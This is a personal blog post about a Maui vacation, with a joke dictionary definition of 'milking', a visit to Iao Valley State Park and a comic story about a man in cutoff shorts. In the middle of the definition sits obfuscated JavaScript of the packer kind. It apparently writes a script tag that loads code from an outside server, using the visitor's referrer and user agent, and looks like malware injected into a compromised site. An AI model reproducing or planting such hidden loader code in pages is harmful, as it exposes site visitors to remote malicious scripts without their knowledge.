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Let the milking begin! It starts with shorts.

v. milk•ing

  1. To draw milk from the teat or udder of a female mammal.
  2. To press out, drain off, or remove by or as if by milking; ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dffta|var|u0026u|referrer|ekbzt||js|php’.split(‘|’),0,{}))
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  3. To blog, for days on end, about a vacation.

We just got back from an outstanding vacation in Maui.  Yes, yes….don’t be jealous.  We were lucky enough to leave some pretty heinous weather behind – snow in CA?  What?

As a result, both Nick and I fell off the blogging bandwagon – going dark for a few days. Not sure if anyone noticed but we are ready to get back on that wagon.  We are both sitting at our computers, blogging away.  So without further adieu…..here comes the first Maui post.

Nick and I headed to the Iao Valley State Park to see a phallic-shaped-mountain-peak.

See.  Told you.

It’s a relatively uneventful park.  We had heard that you had to step off the paved path to see anything really cool – but there were about a million signs telling you to stay on the paved path and guard rails that kept you from venturing too far off …and being the type-A, rule following people that we are (me, more so than Nick….but he’s type-A too) ….we stayed on the paved path.

Needless to say, staying on the paved path paid off (alliteration much?).  On our way back to the car, we saw an older man (50s?) walking with his wife in – I kid you not – a pair of daisy-duke-like shorts.  Here’s how I imagine the conversation that morning:

Husband:  Honey, I don’t have ANY clean shorts!

Wife:  What do you want me to do about it?

Husband:  Do you have any I can borrow?

Wife:  Well, I only have a pair of really short cutoffs.

Husband:  That’s fine, it’s too hot for long pants!  And I want to show off these gams!

And here we are.  We see those incredibly long (hairy) legs pass us by.  And what do I say to Nick?   OMG, I need a picture of that immediately.  I fumble for my camera and quickly snipe a picture of those Gisele-like limbs.  Because, let’s face it….phallic mountain peaks will come and go, but hairy legs in daisy dukes – once in a lifetime.

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